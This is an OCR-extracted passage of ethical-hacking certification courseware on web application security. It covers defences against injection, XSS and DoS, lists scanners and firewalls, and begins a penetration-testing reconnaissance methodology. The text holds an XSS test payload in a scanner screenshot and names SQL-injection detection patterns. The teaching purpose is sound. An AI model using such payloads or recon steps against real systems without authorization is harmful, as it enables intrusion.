jcrosol

SQL

Server Validate and sanitize user inputs passed to the database

Use low privileged account for DB connection
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How to Defend A gainst SQL Injection A ttacks

To defend against SQL injection attacks, various things have to be taken care of like
unchecked user-input to database-queries should not be allowed to pass. Every user variable
passed to the database should be validated and sanitized. The given input should be checked

for any expected data type. User input, which is passed to the database, should be quoted.
e Limit the length of user input
e Use custom error messages
e Monitor DB traffic using an IDS, WAP
e Disable commands like xp_cmdshell
e Isolate database server and web server
e Always use method attribute set to POST
e Run database service account with minimal rights
0 Move extended stored procedures to an isolated server
0 Usetypesafe variables or functions such as IsNumeric() to ensure typesafety

© Validate and sanitize user inputs passed to the database
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Q Use low privileged account for DB connection
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n

How to Defend Against Command - -
Injection Flaws w EF
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0 /| How to Defend Against Com mand Injection Flaws

A The simplest way to protect against command injection flaws is to avoid them
wherever possible. Some language specific libraries perform identical functions for many shell
commands and some system calls. These libraries do not contain the operating system shell
interpreter, and so ignore maximum shell command problems. For those calls that must still be
used, such as calls to backend databases, one must carefully validate the data to ensure that it
does not contain malicious content. One can also arrange various requests in a pattern, which

ensures that all given parameters are treated as data instead of potentially executable content.

Most system calls and the use of stored procedures with parameters that accept valid input
strings to access a database or prepared statements provide significant protection, ensuring
that the supplied input istreated as data, which reduces, but does not completely eliminate the
risk involved in these external calls. One can always authorize the input to ensure the
protection of the application in question. Least privileged accounts must be used to access a

database so that there isthe smallest possible loophole.

The other strong protection against command injection is to run web applications with the
privileges required to carry out their functions. Therefore, one should avoid running the web
server as a root, or accessing a database as a DBADMIN, or else an attacker may be able to
misuse administrative rights. The use of Java sandbox in the J2EE environment stops the

execution of the system commands.
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The use of an external command thoroughly checks user information that is inserted into the
command. Create a mechanism for handling all possible errors, timeouts, or blockages during
the calls. To ensure the expected work is actually performed, check all the output, return, and
error codes from the call. At least this allows the user to determine if something has gone

wrong. Otherwise, an attack may occur and never be detected.
© Perform input validation
© Use language-specific libraries that avoid problems due to shell commands
© Use a safe API that avoids the use of the interpreter entirely
© Use parameterized SQL queries
© Escape dangerous characters
© Perform input and output encoding

© Structure requests so that all supplied parameters are treated as data, rather than

potentially executable content

© Use modular shell disassociation from kernel
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How to Defend Against XSS
Attacks

Validate all headers,
cookies, query strings,
form fields, and hidden

fields (i.e., all parameters)

against arigorous
specification

Use aweb
application firewall
to block the
execution of

malicious script

Encode Input
and output and
filter Meta
characters in the

input

Filtering script output
can also defeat XSS
vulnerabilities by
preventing them from
being transmitted to

users

alphanumeric characters

entities before displaying

Use testing tools
extensively during the
design phase to
eliminate such XSS
holes in the application
before it goes into use

Convertall non-

to HTML character

the user input in search

engines and forums

Exam 312-50 Certified Ethical Hacker

CEH

Do not always
trust websites
that use HTTPS
when it comes to
XSS

\y

Develop some standard or
signing scripts with private

and public keys that

actually check to ascertain
that the script introduced

is really authenticated
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How to Defend Against XSS Attacks
| The following are the defensive techniques to prevent XSS attacks:

Q Check and validate all the form fields, hidden fields, headers, cookies, query strings, and

all the parameters against a rigorous specification.
© Implement a stringent security policy.

© Web servers, application servers, and web application environments are vulnerable to
cross-site scripting. It is hard to identify and remove XSS flaws from web applications.
The best way to find flaws is to perform a security review of the code, and search in all

the places where input from an HTTP request comes as an output through HTML.

Q A variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus,
Nikto, and other tools can help to some extent for scanning websites for these flaws. |If
vulnerability is discovered in one website, there isa high chance of it being vulnerable to

other attacks.

© Filter the script output to defeat XSS vulnerabilities which can prevent them from being

transmitted to users.

© The entire code of the website has to be reviewed if it has to be protected against XSS
attacks. The sanity of the code should be checked by reviewing and comparing it against
exact specifications. The areas should be checked as follows: the headers, as well as
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cookies, query string form fields, and hidden fields. During the validation process, there
must be no attempt to recognize the active content, neither to remove the filter nor

sanitize it.

© There are many ways to encode the known filters for active content. A "positive
security policy" is highly recommended, which specifies what has to be allowed and
what has to be removed. Negative or attack signature-based policies are hard to

maintain, as they are incomplete.

0 Input fields should be limited to a maximum since most script attacks need several

characters to get started.
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How to Defend Against DoS Attack cEH

Secure the remote administration

and connectivity testing

Preventuse of unnecessary

Configure the firewall to functions such as gets, strcpy,
deny external Internet and return addresses from
Control Message Protocol overwritten etc.

(ICMP) traffic access

Preventthe sensitive
information
from overwriting

Data processed by the
attackershould be stopped
from being executed

Perform thorough
input validation
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How to Defend A gainst DoS A ttacks

p) The following are the various measures that can be adopted to defend against DoS

attacks:

6 Configure the firewall to deny external Internet Control Message Protocol (ICMP) traffic

access.
© Secure the remote administration and connectivity testing.

© Prevent use of unnecessary functions such as gets, strcpy, and return addresses from

being overwritten, etc.
0 Prevent sensitive information from overwriting.
0 Perform thorough input validation.

© Data processed by the attacker should be stopped from being executed.
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How to Defend Against Web
Services Attack CEH

Configure firewalls/IDS systems
for aweb services anomaly and

Configure WSDL Access signature detection

Control Permissions to grant

or deny access to any type of

WSDL-based SOAP messages Configure firewalls/IDS systems
to filter improper SOAP and

XML syntax
Use document-centric

authentication credentials

that useSAML
Implement centralized in-line

requests and responses

) . . schema validation
Use multiple security credentials

such as X.509 Cert, SAML

assertions and WS-Security
Block external references and
use pre-fetched content when

de-referencing URLs
Deploy web services-capable

firewalls capable of SOAP and
ISAPI level filtering

Maintain and updatea secure
repository of XML schemas
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How to Defend Against W eb Services Attacks

To defend against web services attacks, there should be a provision for multiple layers
of protection that dynamically enforces legitimate application usage and blocks all known
attack paths with or without relying on signature databases. This combination has proven
effective in blocking even unknown attacks. Standard HTTP authentication techniques such as
digest and SSL client-side certificates can be used for web services as well. Since most models
incorporate business-to-business applications, it becomes easier to restrict access to only valid

users.

© Configure firewalls/IDSs for a web services anomaly and signature detection.

© Configure WSDL Access Control Permissions to grant or deny access to any type of

WSDL-based SOAP messages.
© Configure firewalls/IDS systems to filter improper SOAP and XML syntax.
© Use document-centric authentication credentials that use SAML.
© Implement centralized in-line requests and responses schema validation.
© Use multiple security credentials such as X.509 Cert, SAML assertions, and WS-Security.
© Block external references and use pre-fetched content when de-referencing URLs.
© Deploy web-services-capable firewalls capable of SOAP- and ISAPI-level filtering.
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Q Maintain and update a secure repository of XML schemas.
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Web Application Countermeasures CEH

Unvalidated Redirects » Broken Authentication
and Forwards and Session Management
© Avoid using redirects and forwards 8 Use SSLfor all authenticated parts

. . fth li ion
e Ifdestination parameters cannot ofthe applicatio

be avoided, ensure that the S Verify whether all the users’
supplied value is valid, and identities and credentials are stored
authorized forthe user in a hashed form

8 Neversubmit session data as part
ofa GET, POST

Cross-Site Request Insecure Cryptographic
Forgery Storage
Logoffimmediately after using a web C Do notcreate or use weak
application and clear the history cryptographic algorithms
Do not allow your browser and ® Generate encryption keys offline
websites to save login details and store them securely
Check the HTTP Referrer header and © Ensure that encrypted data stored

when processing a POST, ignore URL on disk is not easy to decrypt

parameters
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W eb Application Countermeasures

The following are the various counte-measures that can be adopted for web

applications.
Unvalidated Redirects and Forwards

Avoid using redirects and forwards if destination parameters cannot be avoided; ensure that

the supplied value is valid, and authorized for the user.
Cross-Site Request Forgery

© Log off immediately after using a web application and clear the history.

© Do not allow your browser and websites to save login details.

© Check the HTTP Referrer header and when processing a POST, ignore URL parameters.
Broken Authentication and Session Management

© Use SSL for all authenticated parts of the application.

© Verify whether all the users' identities and credentials are stored in a hashed form.

© Never submit session data as part of a GET, POST.
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Insecure Cryptographic Storage
© Do not create or use weak cryptographic algorithms.
© Generate encryption keys offline and store them securely.

© Ensure that encrypted data stored on disk is not easy to decrypt.
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Web Application Counterrrl6a&llres

(Cont’d):

I'\y [ Insufficient Transport Layer Protection

Non-SSL requests to web pages should be redirected to the SSL page
Set the 'secure’ flag on all sensitive cookies
Configure SSL provider to support only strong algorithms

Ensure the certificate is valid, not expired, and matches all domains used by the site

nwn N n v un

Backend and other connections should also use SSLor other encryption technologies T A

Directory Traversal V \

5 Define access rights to the protected areas of the website

6 Apply checks/hot fixes that prevent the exploitation of the vulnerability
such as Unicode to affect the directory traversal v

€ Web servers should be updated with security patches in atimely manner

Cookie/Session Poisoning

S Do not store plain text or weakly encrypted password in a cookie
S Implement cookie's timeout
t!  Cookie's authentication credentials should be associated with an IP address

S Make logout functions available
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W eb Application Countermeasures (Cont’d)

The following are the various countermeasures that can be adopted for web

applications.
Insufficient Transport Layer Protection
© Non-SSL requests to web pages should be redirected to the SSL page.
© Setthe 'secure’ flag on all sensitive cookies.
© Configure SSL provider to support only strong algorithms.
© Ensure the certificate is valid, not expired, and matches all domains used by the site.
© Backend and other connections should also use SSL or other encryption technologies.
Directory Traversal
© Define access rights to the protected areas of the website.

© Apply checks/hot fixes that prevent the exploitation of the vulnerability such as Unicode

to affect the directory traversal.

© Web servers should be updated with security patches in a timely manner.
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Cookie/Session Poisoning
© Do not store plain text or weakly encrypted password in a cookie.
© Implement cookie's timeout.
© Cookie's authentication credentials should be associated with an IP address.

0 Make logout functions available.
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Web Application Countermeasures

Security

Misconfiguration

Configure all security

mechanisms and turn off all

unused services

Setup roles, permissions, and

accounts and disable all

default accounts orchange

their default passwords

Scan for latest security

vulnerabilities and apply the

latest security patches

Perform type, pattern, and
domain value validation on all
input data

Make LDAP filter as specific as
possible

Validate and restrict the
amountof data returned to
the user

Implement tight access control
on the data in the LDAP
directory

Perform dynamic testing and
source code analysis

Exam 312-50 Certified Ethical Hacker

CEH
(Cont’d)

File Injection
Attack

Strongly validate user input

Consider implementing a
chrootjail

PHP: Disable allow_url_fopen
and allow_url_include in
php.ini

PHP: Disable register_globals
and use E_STRICTtofind
uninitialized variables

PHP: Ensure that all file and
streams functions (stream_*)
are carefully vetted
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W eb Application Countermeasures (Cont’d)

The following are the various countermeasures that can be adopted for web

applications.
Security Misconfiguration
© Configure all security mechanisms and turn off all unused services.

© Set up roles, permissions, and accounts and disable all default accounts or change their

default passwords.
© Scan for latest security vulnerabilities and apply the latest security patches.
LDAP Injection Attacks
© Perform type, pattern, and domain value validation on all input data.
© Make LDAP filters as specific as possible.
© Validate and restrict the amount of data returned to the user.
© Implement tight access control on the data inthe LDAP directory.

© Perform dynamic testing and source code analysis.
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File Injection Attack
© Strongly validate user input.
© Consider implementing a chroot jail.
© PHP: Disable allow_url_fopen and allow_url_include in php.ini.
© PHP: Disable register_globals and use E_STRICT to find uninitialized variables.

© PHP: Ensure that all file and streams functions (stream_*) are carefully vetted.

Module 13 Page 1935 Ethical Hacking and Countermeasures Copyright © by EC-COUIICIl
All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

How to Defend A gainstW eb

A pplication A ttacks
Make LDAP filter
as specific as possible
Operating System LDAP Server Custom Error Page
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~ How to Defend Against W eb Application A ttacks

To defend against web application attacks, you can follow the countermeasures
stated previously. To protect the web server, you can use WAF firewall/IDS and filter packets.
You need to constantly update the software using patches to keep the server up-to-date and to
protect it from attackers. Sanitize and filter user input, analyze the source code for SQL
injection, and minimize use of third-party applications to protect the web applications. You can
also use stored procedures and parameter queries to retrieve data and disable verbose error
messages, which can guide the attacker with some useful information and use custom error
pages to protect the web applications. To avoid SQL injection into the database, connect using a
non-privileged account and grant least privileges to the database, tables, and columns. Disable

commands like xp_cmdshell, which can affect the OS of the system.
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Attacker  Login Form

Disable commands like
xp_cmdshell

Operating System
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easures

W Perform
input validation

Internet

Connect to the database
using non-prlvileged account

Use stored procedures
and parameter queries

Grant least privileges to the
database, tables, and columns

Perform dynamic testing
and source code analysis

Make LDAP filter
as specific as possible

LDAP Server

Exam 312-

Configure the firewall
to deny external
ICMP traffic access

112 liiil

Use WAF Firewall
/IDS and filter packets

Analyze the source
code for SQL injection

— ,Minimize use of 3rd
** party apps

Web Application

A

Disable verbose error
messages and use custom
error pages

7 ?\

50 Certified Ethical Hacker

Shut down the
unnecessary
services and ports

Keep
patches
current

Sanitize and filter
user input

Custom Error Page

FIGURE 13.61: How to Defend Against Web Application Attacks
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Module Flow

Web App Concepts

Web App Pen Testing I
0 |,

Web App Threats
&

"*S Countermeasures Hacking Methodology *

A M odule Flow

Now we will discuss web application security tools. Web application security tools
help you to detect the possible vulnerabilities in web applications automatically. Prior to this,
we discussed web application countermeasures that prevent attackers from exploiting web
applications. In addition to countermeasures, you can also employ security tools to protect

your web applications from being hacked. Tools in addition to the countermeasures offer more

protection.

n Web App Pen Testing Web App Concepts

Security Tools Web App Threats

Countermeasures is! Hacking Methodology

13

Web Application Hacking Tools
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This section is dedicated to the security tools that protect web applications against various

attacks.
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6

W eb Application
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Security Tool: r E u

A cunetix Web V ulnerability Scanner i

Acunetix WVS checks web applications for SQL injections, cross-site scripting, etc.

It includes advanced penetration
testing tools, such as the HTTP
Editor and the HTTP Fuzzer

Acunetix Web Vulnerability Scanner (Free Edition)
: Fle Actions Took Conflguacicn Help

6 Portscansaweb server and runs
security checks against network
services

e Tests web forms and password-
protected areas

s Itincludes an automatic client
script analyzer allowing for
security testing of Ajax and Web
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Ffe W eb Application
Vulnerability Scanner

Source: http://www.acunetix.com

Security Tool:

A cunetix W eb

Acunetix Web Vulnerability Scanner

automatically

checks

your web

applications for SQL

injection,

XSS, and other

web vulnerabilities.

such as the HTTP Editor and the HTTP Fuzzer.

checks against network services.

It includes advanced penetration

It port scans a web server and

testing tools,

runs security

It even tests web forms and password-protected areas. The

automatic client script analyzer allows for security testing of Ajax and Web 2.0 applications.
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In Acunetix Web Vulnerability Scanner (Free Edition) 1-1°
File Actions Tools Configuration Help
INewbean ['€ J >-' A 2 K2 < T & O |
|Tools Explore; o 1 A % A Report /  Star:UR.: hitpi//testaspnetvulrwel v | Profile: [Defauit o a star

k | Web Vulnerablity Scanner
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Authentication Tester
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Web Servces Scanner
Web Servces Editor }*£—
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h-8 Scan Settings
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‘e AcuSensor

Ready

Scan Resuts Avisanmary
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|Aicaton”(~]] Error Log
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Acunetix Threat Level 3
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the scanner. A malicious user can exploit
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website
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FIGURE 13.62: Acunetix Web Vulnerability Scanner Tool Screenshot
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W eb Application Security Tool:
CEH

W atcher W eb Security Tool

J W atcher is a plugin for the Fiddler HTTP proxy that passively audits a web application to find security

bugs and compliance issues automatically
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W eb Application Security Tool: W atcher W eb Security

J L Tool
Source: http://www.casaba.com

W atcher is a plugin for the Fiddler HTTP proxy that passively audits a web application to find

security bugs and compliance issues automatically. Passive detection means it's safe for

production use. Itdetects web-application security issues and operational configuration issues.

Ethical Hacking and Countermeasures Copyright © by EC-COUNCil

Module 13 Page 1942
All Rights Reserved. Reproduction is Strictly Prohibited.


http://www.casaba.com
http://www.casaba.com

Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

FIGURE 13.63: Watcher Web Security Tool Screenshot
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Web Application Security

Scanner: Netsparker CEH

J Netsparker performs automated comprehensive web application scanning for vulnerabilities such as SQL
injection, cross-site scripting, remote code injection, etc.

J It delivers detection, confirmation, and exploitation of vulnerabilities in a single integrated environment
sfa 1
'QMIVBY
Cross-site Scripting
Ia x /1 1¢5L07.ne2Mrter.cQm: alsllfﬂef\ma/msmyreﬂemedsz c
—*He* 0107 *118j'.
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" (ijryltnnj
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VULNERABILITY DETAILS #  CLASSIFICATION
=0 SoHAMU) d v« mn 1V e Kit0 tu
«»’vﬂkjh?é PV W <«(>*u
0pbeab Tlo ti* o*ymn*m KILy o Liii
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http:/Aaw. mavitunasecurity.com
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W eb Application Security Scanner: N etsparker

" [

v Source: http://www.mavitunasecurity.com

Netsparker® can find and report on security vulnerabilities such as SQL injection and cross-site
scripting (XSS) in all web applications, regardless of the platform and the technology they are
built on. It allows you to resolve security problems before they're actually misused and

compromised by unknown attackers.
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Q] terst37.nebpdrker.ecom - Netipaikei 2.0.0.0 (Mavituna Security Limited -1 Seat)

Exam 312-50 Certified Ethical Hacker

151°rs1 rwil

| File tyew Reporting Settings Community fcjelp
Start fcjew Scon j? soiteul |
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Current Speed: 2,6rcq.’5cc
Average Speed: 3,7 reg/sec
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HEAD Requests: 0
Elapsed Time: 00:00:10

Scan and Confirmation finished.
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ure i/ /test37.netsparker.com 8081/dllenmal/xssth, reflected/3Z php
param=<script>alert(0x000016)<!script?
PARAMETER
NAME
PARAMETER
TYPE
ATTACK
PATTERN

param
Querystring
<scrlpt>alert(0x000016)</script>

VULNERABILITY DETAILS «88 CLASSIFICATION

XSS (Cross-site Scripting) allows an attacker to execute a PCI 2.0 6.5.7
dynamic script {)avascrot, VbScript) in the context of the
application. This allows several dfferent attack opportunities, PC11.2 6.5.1

mostly hijacking the current session of the user or changing the

look of the page by changing the HTML on the fly to 3teal the OWASP A2

5 Cross-site Scripting Group Issues by
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FIGURE 13.64: Netsparker Tool Screenshot
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W eb A pplication S ecurity Tool: NS talker

EH

W eb A pplication S ecurity Scanner

X . | r>1»> N-S:alker Web Application Security Scanner2012 - Free Edition
J N-Stalker Web Application Sean Clfrd

Security Scanner is an effective SWrtscan
suite of web security

assessment checks to enhance

the overall security of web

applications againsta wide

range of vulnerabilities and

sophisticated hacker attacks

J Itcontains all web security

assessment checks such as: rl

e Code injection
. i mile) NO@ Low D) v
» Cross-Site scripting

e Parameter tampering
« Web server vulnerabilities

It »en AtMMIfl O

j>Sv Mojo , . a'T>rh
S+ Sati Soa hbrae a

http://nstalker.com
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fjH”~ W eb A pplication Security Tool: N~"Stalker W eb

A pplication Security Scanner

Source: http://nstalker.com

N-Stalker Web Application Security Scanner provides an effective suite of web security
assessment checks to enhance the overall security of your web applications against a wide
range of vulnerabilities and sophisticated hacker attacks. It also allows you to create your own
assessment policies and requirements, enabling an effective way to manage your application's
SDLC, including the ability to control information exposure, development flaws, infrastructure
issues, and real security vulnerabilities that can be explored by external agents. It contains all
web security assessment checks such as code injection, cross-site scripting, parameter

tampering, web server vulnerabilities, etc.
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N-Stakm Scanner

N-Staker Web Application Security Scanner 2012

- Free Edition
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FIGURE 13.65: N-Stalker Web Application Security Scanner Tool Screenshot
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W eb A pplication S ecurity Tool:

EH

V am pireS can

VampireScan allows users to test their own Cloud and
VampireScan Web applications for basic attacks and receive
L actionable results all within their own Web portal

Features

€ Protectyour website from

hackers

e Scan and protectyour
infrastructure and web
applications from cyber-
threats

© Give you direct,
actionable insight on
high, medium, and low

risk vulnerabilities
http:/Aww.vampiretech.com
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A W eb Application Security Tool: N-Stalker W eb

0, . Application Security Scanner
Source: http://www.vampiretech.com

VampireScan allows users to test their own Cloud and Web applications for basic attacks
and receive actionable results all within their own Web portal. It can protect your website
from hackers. This tol can scan and protect your infrastructure and web applications from
cyber-threats and can also give you direct, actionable insight on high, medium, and low risk

vulnerabilities
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1 Summary
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FIGURE 13.66: N-Stalker Web Application Security Scanner Tool Screenshot
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Web Application Security Tools CEH

IHLT SandcatMini Websecurify
http://www.syhunt.com http://www .websecurify.com
OWASP ZAP NetBrute
http://www .owasp.org http://www .rawlogic.com
skipfish W—hi X5s
N http://code.google.com http://www .casaba.com

WSSA -Web Site Security
ft. Scanning Service

hittps://secure.beyondsecurity.com

SecuBat Vulnerability Scanner

http://secubat.codepiex.com

SPIKE Proxy Ratproxy

http://www .imm unitysec.com http:/icode, google, com

Copyright© by EC-Cauncil. All Rights Reserved. Reproduction isStrictly Prohibited.

W eb Application Security Tools

Web application security tools are web application security assessment software
designed to thoroughly analyze today's complex web applications with the aim of finding
exploitable SQL injection, XSS vulnerabilities, etc. These tools deliver scanning capabilities,
broad assessment coverage, and accurate web application scanning results. Commonly used

web application security tools are listed as follows:
Q SandcatMini available at http://www.syhunt.com
0 OWASP ZAP available at http://www.owasp.org
6 skipfish available at http://code.google.com
Q SecuBat Vulnerability Scanner available at http://secubat.codeplex.com
© SPIKE Proxy available at http://www.immunitvsec.com
0 Websecurify available at http://www.websecurify.com
© NetBrute available at http://www.rawlogic.com
Q Xb5s available at http://www.casaba.com
© WSSA “"Web Site Security Scanning Service available at

https://secure.bevondsecuritv.com
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© Ratproxv available at http://code.google.com
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Web Application Security Tools

gy

W apiti

http://wapiti,sourceforge,net

WebWatchBot 1I\/I

http://www .exclamations oft.com

KeepNI (P "

http://www .keepni.com

Grabber

http:/irgaucher.info OO D0
XSSS

http://www .sven.de - 1N

Exam 312-50 Certified Ethical Hacker

CEH
(Contd)

Syhunt Hybrid

http://www.syhunt.com

Exploit-Me

http://labs,securitycompass.com

WSDigger

http://w ww .mcafee.com

Arachni

http://arachni-scanner.com

Vega

http://www .subgraph.com
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W eb Application Security Tools

(Cont’d)

In addition to the previously mentioned web application security tools, there are few

more tools that can be used to assess the security of web applications:

© Wapiti available at http://wapiti.sourceforge.net

© WebWatchBot available at http://www.exclamationsoft.com

© KeepNI available at http://www.keepni.com

© Grabber available at http://rgaucher.info

© XSSS available at http://www.sven.de

© Svhunt Hybrid available at http://www.svhunt.com

© Exploit-Me available at http://labs.securitycompass.com

© WSDigger available at http://www.mcafee.com

© Arachni available at http://arachni-scanner.com

© Vega available at http://www.subgraph.com
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Web Application Firewall:
dotDefender SEM

AM " \ay bors e K&

dotDefender is a software

based Web Application AT (B sem
) iU Bat\ier (i d thefender

Firewall 1 Narethb i S

It complements the 5 ?5&?"‘;1&56?““0&”@ .

network firewall, IPS and £ g i 9 souintection

other network-based 0 ";ﬂ?{?ﬁfmsl(%midk awr e sol rt-« «

Internet security products i W Suspect Single Quote (Safe) 5

. a ) Injecor
It inspects the HTTP/HTTPS 126 cHhed N Patt Patt o
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It detects and blocks SQL g)s!;‘r;ﬁgs(”;mﬂ"e W SQL Comments Q
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W SQL SYS Commands o
W IS SRVROLEMEVBER followed by ( n

P MS SQL Specific SQL Injection
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557 W eb A pplication Firewall: dotD efender
Source: http://www.applicure.com

dotDefender™ is a software-based web application firewall that provides additional website
security against malicious attacks and website defacement. It protects your website from
malicious attacks. Web application attacks such as SQL injection, path traversal, cross-site
scripting, and other attacks leading to website defacement can be prevented with dotDefender.
It complements the network firewall, IPS, and other network-based Internet security products.

Itinspects HTTP/HTTPS traffic for suspicious behavior.
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FIGURE 13.67: dotDefender
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Web Application Firewall:
ServerDefender VP S BN,

ServerDefender VP Web application firewall is designed to provide security against web attacks
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W eb A pplication Firewall: ServerD efender VP
§ Q I source: http://www.port80software.com

The ServerDefender VP web application firewall is designed to provide security against web
attacks. SDVP security will prevent data theft and breaches and stop unauthorized site

defacement, file alterations, and deletions.
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FIGURE 13.68: ServerDefender VP
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Barracuda Web Application
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w ’
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B | Cyberoam's Web Application
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, 1 ModSecurity
j http://www .modsecurity.org
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Y W eb Application Firew alls

Yy Web application firewalls secure websites, web applications, and web services against
known and unknown attacks. They prevent data theft and manipulation of sensitive corporate

and customer information. Commonly used web application firewalls are listed as follows:
© Radware's AppWall available at http://www.radware.com
© ThreatSentry available at http://www.privacyware.com
© QualysGuard WAF available at http:// www.qualys.com
© ThreatRadar available at http://www.imperva.com
© ModSecurity available at http://www.modsecurity.org
© Barracuda Web Application Firewall available at https://www.barracudanetworks.com
© Stingray Application Firewall available at http://www.riverbed.com
© IBM Security AppScan available at http://www-01.ibm.com
© Trustwave WebDefend available at https://www.trustwave.com

© Cyberoam's Web Application Firewall available at http://www.cyberoam.com
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Module Flow CEH

Web App Concepts

fa

. Q
Security Tools Web App Threats

**S Countermeasures

A M odule Flow

As mentioned previously, web applications are more vulnerable to attacks. Attackers
use web applications as the sources for spreading attacks by turning them into malicious
applications once compromised. Your web application may also become a victim of such
attacks. Therefore, to avoid this situation, you should conduct penetration testing in order to

determine the vulnerabilities before they are exploited by real attackers.

Web App Pen Testing Web App Concepts
m Security Tools Web App Threats
M Countermeasures n Hacking Methodology
* f f £3'

Web Application Hacking Tools
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Web applications can be compromised in many ways. This section describes how to conduct

web application pen testing against all possible kinds of attacks.
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Web Application Pen Testing CEH

Urtrfw* itfciul  Nmim

J Web application pen testing is used to identify, analyze, and report vulnerabilities such as input validation,
buffer overflow, SQL injection, bypassing authentication, code execution, etc. in a given application

J The bestway to perform penetration testing is to conduct a series of methodical and repeatable tests, and
to work through all of the different application vulnerabilities

Identification of Ports

Scan the ports to identify the associated running
services and analyze them through automated
or manual tests to find weaknesses

Remediation of Vulnerabilities . . .
Verification of Vulnerabilities

To retest the solution against
vulnerability to ensure that it is
completely secure

To exploit the vulnerability in order
to test and fix the issue
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lp 1 1 Web Application Pen Testing

1U r Web application pen testing is done to detect various security vulnerabilities and
associated risks. As a pen tester, you should test your web application for vulnerabilities such as
input validation, buffer overflow, SQL injection, bypassing authentication, code execution, etc.
The best way to carry out a penetration test isto conduct a series of methodical and repeatable

tests, and to work through all of the different application vulnerabilities.
Web application pen testing helps in:

© ldentification of Ports: Scan the ports to identify the associated running services and

analyze them through automated or manual tests to find weaknesses.

0 Verification of Vulnerabilities: To exploit the vulnerability in order to test and fix the

issue.

© Remediation of Vulnerabilities: To retest the solution against vulnerability to ensure

that itiscompletely secure.
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Web Application Pen Testing

(Contd)
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Information Authorization Web Services
Gathering Testing Testing
*
v
Configuration i i
g Business Logic AJAX Testing
Management Testing Testing
*
9
\Y
Authentication Data Validation
Testing Testing
*
\
Session Denial-of-Service
Management Testing Testing
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W eb Application Pen Testing (Cont’d)

The general steps that you need to follow to conduct web application penetration

test are listed as follows. In a future section, each step is explained in detail.
Step 1: Defining objective

You should define the aim of the penetration test before conducting it. This would help you to

move in right direction towards your aim of penetration test.

Step 2: Information gathering

You should gather as much information as possible about your target system or network.
Step 3: Configuration management testing

Most web application attacks occur because of improper configuration. Therefore, you should
conduct configuration management testing. This also helps you to protect against known

vulnerabilities by installing the latest updates.
Step 4: Authentication testing session

Test the authentication session to understand the authentication mechanism and to determine

the possible exploits in it.
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Step 5: Session management testing

Perform session management testing to check your web application against various attacks that

are based on session ID such as session hijacking, session fixation, etc.
Step 6: Denial-of-service testing

Send a vast amount of requests to the web application until the server gets saturated. Analyze
the behavior of application when the server is saturated. In this way you can test your web

application against denial-of-service attacks.
Step 7: Data validation testing

Failing to adopt a proper data validation method isthe common security weakness observed in
most web applications. This may further lead to major vulnerabilities in web applications.
Hence, before a hacker finds those vulnerabilities and exploits your application, perform data

validation testing and protect your web application.
Step 8: Business logic testing

Web application security flaws may be present even in business logic. Hence, you should test
the business logic for flaws. Exploiting this business logic, attackers may do something that is
not allowed by businesses and it may sometimes lead to great financial loss. Testing business

logic for security flaws requires unconventional thinking.
Step 9: Authorization testing

Analyze how a web application is authorizing the user and then try to find and exploit the

vulnerabilities present in the authorization mechanism.
Step 10: Web services testing

Web services use HTTP protocol in conjuction with SML, WSDL, SOAP, and UDDI technologies.
Therefore, web services have XML/parser related vulnerabilities in addition to SQL injection,
information disclosure, etc. You should conduct web services testing to determine the

vulnerabilities of web-based services.
Step 11: AJAX testing

Though more responsive web applications are developed using AJAX, it is likely as vulnerable as
a traditional web application. Testing for AJAX is challenging because web application
developers are given full freedom to design the way of communication between client and

server.
Step 12: Document all the findings

Once you conduct all the tests mentioned here, document all the findings and the testing
techniques employed at each step. Analyze the document and explain the current security

posture to the concerned parties and suggest how they can enhance their security.
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Inform ation Gathering

© START

\Y%

Perform search engine
reconnaissance

Identify application
entry points

Identify the web
applications

Analyze the O/P from
HEAD and OPTIONS
http requests

Allowed and disallowed
directories

Issues of web application
> structure, error pages
produced

"

Cookie information, 300
'e>m  HTTP and 400 status codes,
500 internal server errors

Web applications, old
versions of filesor artifacts

Web server software
version, scripting
environment, and OS in use
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CEH

Retrieve and analyze robots.txt file
using tools such as GNU Wget

Use the advanced "site:" search
operator and then click "Cached"
to perform search engine
reconnaissance

Identify application entry points
using tools such as Webscarab,
Burp proxy, OWASP ZAP, TamperlE
(for Internet Explorer), or Tamper
Data (for Firefox)

To identify web applications: probe
for URLs, do dictionary-style
searching (intelligent guessing)
and perform vulnerability scanning
using tools such as Nmap (Port
Scanner) and Nessus

Implement techniques such as
DNS zone transfers, DNS inverse
queries, web-based DNS searches,

\V4 querying search engines (googling)
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Inform ation G athering
Let's get into detail and discuss each web application test step thoroughly.

The first step in web application pen testing is information gathering. To gather all the

information about the target application, follow these steps:
Step 1: Analyze the robots.txt file

Robot.txt is a file that instructs web robots about the website such as directories that can be
allowed and disallowed to the user. Hence, analyze the robot.txt and determine the allowed
and disallowed directories of a web application. You can retrieve and analyze robots.txt file
using tools such as GNU Wget.

Step 2: Perform search engine reconnaissance

Use the advanced "site:" search operator and then click Cached to perform search engine
reconnaissance. It gives you information such as issues of web application structure and error

pages produced.
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Step 3: Identify application entry points

Identify application entry points using tools such as Webscarab, Burp Proxy, OWASP ZAP,
TamperlE (for Internet Explorer), or Tamper Data (for Firefox). Cookie information, 300 HTTP
and 400 status codes, and 500 internal server errors may give clues about entry points of the

target web application.
Step 4: Identify the web applications

To identify web applications: probe for URLs, do dictionary-style searching (intelligent
guessing), and perform vulnerability scanning using tools such as Nmap (Port Scanner) and
Nessus. Check for web applications, old versions of files, or artifacts. Sometimes the old
versions of files may give useful information that attackers can use to launch attacks on the

web application.
Step 5: Analyze the O/P from HEAD and OPTIONS http requests

Implement techniques such as DNS zone transfers, DNS inverse queries, web-based DNS
searches, querying search engines (Googling). This may reveal information such as web server

software version, scripting environment, and OS in use.
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>/
TCP/ICMP and service Web application services
fingerprinting and associated ports

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

Inform ation G athering (Cont’d)
Step 6: Analyze error codes

Analyze error codes by requesting invalid pages and utilize alternate request methods
(POST/PUT/Other) in order to collect confidential information from the server. This may reveal
information such as software versions, details of databases, bugs, and technological

components.
Step 7: Test for recognized file types/extensions/directories

Test for recognized file types/extensions/directories by requesting common file extensions such
as .ASP, .HTM, .PHP, .EXE, and observe the response. This may give you an idea about the web

application environment.
Step 8: Examine source of available pages

Examine the source code from the accessible pages of the application front-end. This provides

clues about the underlying application environment.
Step 9: TCP/ICMP and service fingerprinting

Perform TCP/ICMP and service fingerprinting using traditional fingerprinting tools such as
